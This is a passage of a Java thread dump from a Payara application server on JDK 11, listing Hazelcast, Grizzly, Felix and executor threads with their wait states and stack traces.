com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #113 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5e1da654 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.21/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.21/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Job Cleanup Service" #144 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b378cbf + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-3" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-task" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3157cff4 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.MetricsRegistry.thread-1" #70 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@605a4c80 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"SCR Component Actor" #167 daemon [WAITING] on java.util.LinkedList@776703b0 + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #136 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.event-3" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12c1361e + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.nervous_wescoff.generic-operation.thread-1" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0813e5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.IO.thread-in-0" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(3)" #91 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@572e3cf5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-task" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3157cff4 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1fe13807 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.21/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.21/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f4e0d1 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.21/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.21/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-listener-1-kernel(1) SelectorRunner" #95 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Keep-Alive-Timer" #134 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at java.base@11.0.21/sun.net.www.http.KeepAliveCache.run(KeepAliveCache.java:234) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.21/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"FelixResolver-10" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.priority-generic-operation.thread-0" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3be789ea + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:98) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hk2-asyncrunlevelcontext" #29 daemon [WAITING] on java.util.TaskQueue@9319af9 + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at java.base@11.0.21/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.21/java.util.TimerThread.run(Timer.java:506) + +"Executor-Service-8" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RMI GC Daemon" #170 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@32659338 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.rmi@11.0.21/sun.rmi.transport.GC$Daemon.run(GC.java:126) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.21/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"RunLevelControllerThread-1785653482841" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@343a34dc + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.scheduled.thread-" #41 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2dde2cfd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1193) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.event-1" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a1346ba + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.nervous_wescoff.TcpServer.thread-2" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f29e1ed + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-10" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #114 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a36a142 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.TcpServer.thread-1" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f29e1ed + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1170) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"admin-listener-kernel(1) SelectorRunner" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #7" #158 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.migration" #69 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c591e45 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at com.hazelcast.internal.partition.impl.MigrationQueue.poll(MigrationQueue.java:48) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:91) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:66) + +"payara-executor-service-scheduled-task" #125 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6bad830b + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at 